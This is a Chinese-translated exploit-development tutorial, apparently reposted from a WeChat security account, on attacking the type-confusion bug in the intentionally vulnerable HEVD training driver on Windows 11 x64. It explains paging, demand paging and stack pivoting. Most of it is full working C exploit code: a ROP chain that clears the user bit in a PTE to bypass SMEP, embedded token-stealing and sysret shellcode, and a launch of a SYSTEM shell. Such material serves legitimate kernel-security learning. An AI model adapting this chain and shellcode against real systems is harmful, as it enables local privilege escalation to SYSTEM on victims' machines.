【翻译】0x06 - Approaching Modern Windows Kernel Type Confusions
在上一篇教程中,我们利用了 Windows 7 (x86) 内核中的类型混淆漏洞。在获得了关于处理这类漏洞的坚实基础后,我们现在可以尝试在 Windows 11 (x64) 上进行漏洞利用。
目录
-
逆向工程 -
编写漏洞利用程序 -
攻击计划 -
痛苦的开始 -
理论 -
一般内存操作 -
虚拟内存 -
分页内存总结 -
测试理论 -
漏洞利用 -
参考资料
逆向工程
让我们看一下易受攻击的处理程序和相应的结构。
我们不能忽视我们拥有大量的背景信息(更不用说符号了)。我们需要考虑的唯一真正区别是分配将是 16 (0x10) 字节。这是因为 x64 环境中 unsigned long 的大小。
话虽如此,我们可以开始编写概念验证。
编写漏洞利用程序
以下是我们可以开始使用的 PoC:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#define TYPE_CONFUSION 0x222023/* Structure used by Type Confusion */typedefstruct _USER_TYPE_CONFUSION_OBJECT {uint64_t ObjectId;uint64_t ObjectType;} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* Exploit(): Type Confusion */intExploit(HANDLE hHEVD){ DWORD dwBytesReturned = 0; LPVOID lpvNtKrnl = NULL; LPVOID lpvAllocation = NULL; USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 }; lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvNtKrnl == NULL) {printf("[-] Failed to obtain the base address of ntn");return-1; }printf("[*] Obtained the base address of nt: 0x%pn", lpvNtKrnl); lpvAllocation = VirtualAlloc(NULL,0x1000, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvAllocation == NULL) {printf("[*] Failed to allocate memoryn");return-1; }memset(lpvAllocation, 'C', 0x1000); UserTypeConfusionObject.ObjectId = 0x4141414141414141; UserTypeConfusionObject.ObjectType = 0x4242424242424242;printf("[*] Triggering Type Confusionn"); DeviceIoControl(hHEVD, TYPE_CONFUSION, &UserTypeConfusionObject,sizeof(UserTypeConfusionObject),NULL,0x00, &dwBytesReturned,NULL);return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[+] Exploitation successful, enjoy the shell!!nn"); system("cmd.exe"); } else {printf("[*] Exploitation failed, run againn"); }if (hHEVD != NULL) CloseHandle(hHEVD);return0;}
攻击计划
一旦运行,我们可以看到我们已成功获得对执行流程的控制。
我们可以看到 RBX 寄存器指向我们的对象/结构。我的想法是我们可以执行栈枢轴(stack pivot)操作,转向一个我们从用户空间控制的内存分配(例如 VirtualAlloc)。
痛苦的开始
让我们寻找 gadget,我们将使用我们最喜欢的工具 rp++,由 0vercl0k 开发。
C:>rp-win.exe --rop=20 --va=0 --file C:WindowsSystem32ntoskrnl.exe > rop.txt
由于这是一个大文件,让我们将它移到 Linux 上。如果你计划使用 grep 解析输出,你需要将此文件转换为 ASCII 格式。
$ file rop.txtrop.txt: Unicode text, UTF-16, little-endian text, with very long lines (388), with CRLF line terminators$ iconv -f utf-16 -t us-ascii//TRANSLIT rop.txt > rop_ascii.txt
在这一点上,我完全困惑了,因为事情并没有按计划进行。我查看了 VulnDevs 的博客,看看他会怎么做,发现他使用了一个相当有趣的 gadget。
QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret;
我从未见过这样的 gadget,也不知道这甚至是可能的...使用这种 gadget 时,我们必须记住几件事。
-
地址需要对齐(address % 16 == 0) -
我们必须为内核在内存中读/写这个区域留出足够空间(target_address - 0x1000) -
我们必须使用 VirtualLock 锁定内存区域
以下代码正是这样做的。
/* We're going to be allocating memory at 0xF6C875C0-0x1000, we must do this to give the kernel room to read/write to this memory region */ lpvAllocTarget = (LPVOID)0xF6C875C0; lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),0x5000, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);if (lpvAllocation == NULL) {printf("[*] Failed to allocate memoryn");return-1; }/* We lock the allocated memory region into RAM to avoid a page fault */if (VirtualLock(lpvAllocation, 0x5000) == FALSE) {printf("[*] Failed to lock virtual address spacen");return-1; }printf("[*] Successfully locked 0x%pn", lpvAllocation); RtlFillMemory((LPVOID)lpvAllocTarget, 0x4000, 'A');... UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; ret
发送后,我们并没有成功进行栈转移...
如果我们分析这个情况,我们会发现一个双重故障...
在这一点上,一个月过去了,我毫无进展...我是说完全没有进展...直到我偶然看到了 wafzsucks 的博客,最终发现问题在于断点破坏了漏洞利用。
一旦我移除了断点,一切就正常工作了?
理论
虽然在这一点上我已经有了一个可用的漏洞利用,但我想了解其中的原因 - 所以我决定研究 wafzsucks 的博客
接下来这部分主要是 wafzsucks 的笔记,我想确保这一点很清楚。但是,由于记笔记是我学习的方式,我决定在学习过程中记录我的理解。
一般内存操作
根据 Wikipedia 的信息,内核可以完全访问系统内存。它负责允许进程在需要时访问内存。这是通过虚拟寻址(通过分页和/或分段)实现的。
根据 Wikipedia,当使用这种方案(分页)时,操作系统以称为页的块获取信息。例如,在 Windows 中,一页是 4KB(4006 或 0x1000 字节)。
虚拟寻址的作用是允许内核使给定的物理地址看起来像是另一个地址,即虚拟地址。
wafzsucks 解释得很完美,这就是为什么当游戏加载时,风扇会启动,并且在游戏甚至开始之前就会使用大量内存。这是因为在游戏加载到内存中时,内存被分配和获取。
通过在 Windows 中使用 VirtualAlloc() 和在 Linux 中使用 mmap(),我们实际上可以在定义的地址映射一系列虚拟内存。这就是为什么这种解决方案是栈转移的可靠方法。
虚拟内存
下面的图片取自wafzsucks的博客。
我们可以在上图中看到,一个虚拟地址被映射到物理内存中的多个区域。简而言之,操作系统管理虚拟地址空间和实际内存的分配。CPU 中的地址转换硬件,通常称为内存管理单元 (MMU),自动将虚拟地址转换为物理地址。
正如Wikipedia所述,虚拟内存的好处包括:
-
应用程序不必管理共享内存空间 -
能够在进程之间共享库使用的内存 -
由于内存隔离而提高安全性
并且从概念上讲,能够使用比物理可用内存更多的内存,使用分页或分段技术。
分页内存摘要
当我们听到"分页内存"这个词时,我们指的是一种技术,操作系统将程序或系统的内存分成称为页的固定块(如我们所知)。以下是关于分页内存需要记住的一些关键概念:
-
页表 -
操作系统维护一种称为页表的数据结构。这个表跟踪程序使用的虚拟内存地址和存储实际数据的物理内存地址位置之间的映射。 -
虚拟内存 -
如前所述,这是程序与物理内存交互而不直接接触它的方式。基本上是将虚拟地址转换为物理地址。 -
页错误 -
当程序访问当前不在物理内存中的虚拟内存页时,会发生页错误。从这里,控制权从程序转移到操作系统。 -
按需分页 -
大多数操作系统使用按需分页,即只有在需要时才将页加载到内存中。这是为了通过只加载正在积极使用的页来节省物理内存。 -
页面替换 -
如果物理内存已满,操作系统可能需要选择从内存中移除哪些页,为新页腾出空间。 -
页面大小 -
每个页的大小是内存管理效率的关键因素。较小的页面大小可以导致更精细的内存管理,但由于页表更大,可能会导致更多的开销。较大的页面大小可能会减少表的大小,但可能会导致更多的数据被加载到内存中,即使只需要其中的一小部分。
测试理论
让我们重新审视我们的代码示例并运行它。
lpvAllocTarget = (LPVOID)0xF6C875C0; lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),0x10000, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);if (lpvAllocation == NULL) { printf("[*] Failed to allocate memoryn");return-1; } UserTypeConfusionObject.ObjectId = (uint64_t)lpvAllocation; UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; retprintf("[*] Triggering Type Confusionn"); DeviceIoControl(hHEVD, TYPE_CONFUSION, &UserTypeConfusionObject,sizeof(UserTypeConfusionObject),NULL,0x00, &dwBytesReturned,NULL);
如果我们检查新栈地址的 PTE,我们会发现这不是一个有效的页表项。
这意味着控制权将交给内核,然后我们崩溃!
这是由于前面提到的按需分页。为了使这个页面有效,我们可以尝试写入前一个页面以避免页错误,因为这样它就会被使用!让我们试一试!
lpvAllocTarget = (LPVOID)0xF6C875C0; lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),0x10000, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);if (lpvAllocation == NULL) { printf("[*] Failed to allocate memoryn");return-1; }printf("[*] Successfully created allocation: 0x%pn", lpvAllocation);printf("[*] Writing random buffer to prevous pagen"); RtlFillMemory((lpvAllocTarget-0x1000), 0x1000, 'A');
这次当我们命中断点时,可以看到页面是有效的
然而我们仍然遇到崩溃?这就是 VirtualLock
发挥作用的地方。
然而,我仍然遇到了崩溃!根据 Kristal-G 博客中的信息,看起来这个地址太高了。上面的实际错误也显示了这一点 - 因此我决定更改我的栈枢轴(stack pivot)指令。
漏洞利用
在痛苦挣扎了一段时间后,我终于组装出了一个可靠的漏洞利用程序,如下所示:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<shlwapi.h>#define TYPE_CONFUSION 0x222023/* Structure used by Type Confusion */typedefstruct _USER_TYPE_CONFUSION_OBJECT {uint64_t ObjectId;uint64_t ObjectType;} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}voidWriteGadgets(LPVOID lpvNt, LPVOID lpvBuffer){uint64_t *rop = (uint64_t *)(lpvBuffer);uint64_t nt = (uint64_t)(lpvNt);uint8_t sc[129] = {// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00, 0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04, 0x00, 0x00,// sickle-tool -p windows/x64/kernel_sysret -f num (71)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07 }; LPVOID shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(shellcode, sc, 129);/* Prepare RDX register for later. This is needed for the XOR operation */ *rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret *rop++ = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR *rop++ = 0x000000; // [filler] *rop++ = 0x000000; // [filler]/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our userland code. The setup is as follows: RAX -> VOID *MiGetPteAddress( ( RCX == PTE / Userland Code ) ); Once the call is complete RAX should contain the pointer to our PTE. */ *rop++ = nt + 0x57699c; // pop rcx ; ret *rop++ = (uint64_t)shellcode; // *shellcode *rop++ = nt + 0x24aaec; // MiGetPteAddress()/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to mark the page as a kernel page (U -> K). We can do this using XOR ;) */ *rop++ = nt + 0x30fcf3; // sub rax, rdx ; ret *rop++ = nt + 0x54f344; // push rax ; pop rbx ; ret *rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret *rop++ = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found) *rop++ = 0x000000; // [filler] *rop++ = 0x000000; // [filler] *rop++ = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */for (int i = 0; i < 0xC; i++) { *rop++ = (uint64_t)shellcode; }}/* Exploit(): Type Confusion */intExploit(HANDLE hHEVD){uint64_t *rop = NULL; BOOL bBlocked; DWORD dwBytesReturned = 0; LPVOID lpvNtKrnl = NULL; LPVOID lpvAllocation = NULL; LPVOID lpvAllocTarget = NULL; USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 }; lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvNtKrnl == NULL) {printf("[-] Failed to obtain the base address of ntn");return-1; }printf("[*] Obtained the base address of nt: 0x%pn", lpvNtKrnl);/* Allocate memory one page before the target memory region. This helps prevent the Double Fault; Logic here is avoid not triggering "Demand Paging". */ lpvAllocTarget = (LPVOID)0x48000000;printf("[*] Allocation to be made at 0x%p - PAGE_SIZEn", lpvAllocTarget); lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),0x10000, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);if (lpvAllocation == NULL) {printf("[*] Failed to allocate memoryn");return-1; }printf("[*] Successfully created allocation: 0x%pn", lpvAllocation);/* Trigger the Type Confusion by overwriting the function pointer */ UserTypeConfusionObject.ObjectId = 0x4242424242424242; UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x28d700; // mov esp, 0x48000000 ; add esp, 0x28 ; ret/* Let the Kernel breathe... this is needed to avoid a crash, my thoery is if we don't do this the allocation will not be mapped properly. So what we need to do is sleep for a few seconds to allow this to happen! First time trying this I was under the impression VirtualLock was needed, but when testing it never locked? So after debugging I found this to be the solution. This exploit succeded 9/10 times vs the original 2/10 ;D */printf("[*] Letting the kernel breathe");for (int i = 0; i < 4; i++) {putchar('.'); Sleep(1000); }putchar('n');/* Fill the page before the target region with random data */ RtlFillMemory(lpvAllocation, 0x1000, 'A');/* Write the gadget chain at the location we return */ WriteGadgets(lpvNtKrnl, (lpvAllocTarget + 0x28));printf("[*] Triggering Type Confusionn"); DeviceIoControl(hHEVD, TYPE_CONFUSION, &UserTypeConfusionObject,sizeof(UserTypeConfusionObject),NULL,0x00, &dwBytesReturned,NULL);return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[+] Exploitation successful, enjoy the shell!!nn"); system("cmd.exe"); } else {printf("[*] Exploitation failed, run againn"); }if (hHEVD != NULL) CloseHandle(hHEVD);return0;}
如果你一直跟着操作,我们已经有了一个有效的页面?那么为什么我们需要 VirtualLock?
其实...我们并不需要!上面展示的漏洞利用程序根本没有使用 VirtualLock 函数。在调试时,我们看到页面是有效的...此外,VirtualLock 从未成功执行...我一直收到错误代码 ERROR_NOACCESS (0x3E6),这意味着页面从未被"锁定"。
如果你查看 MSDN 上的文档,你会发现有时需要两次调用,这是由于该函数的工作方式所致。它是否需要更高的权限?不确定,但我移除了它来测试它是否有任何作用,令我惊讶的是,它没有任何作用。
此外,我发现漏洞利用非常不可靠。为了使其在 90% 的时间内工作(如果不是 100%),需要做什么?
你猜对了!调用 Sleep()
我的理论是分配需要时间来"注册"。无论如何,下面展示了漏洞利用演示!
参考资料
https://wafzsucks.medium.com/how-a-simple-k-typeconfusion-took-me-3-months-long-to-create-a-exploit-f643c94d445fhttps://kristal-g.github.io/2021/02/20/HEVD_Type_Confusion_Windows_10_RS5_x64.htmlhttps://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html
原文始发于微信公众号(securitainment):探索现代 Windows 内核类型混淆漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论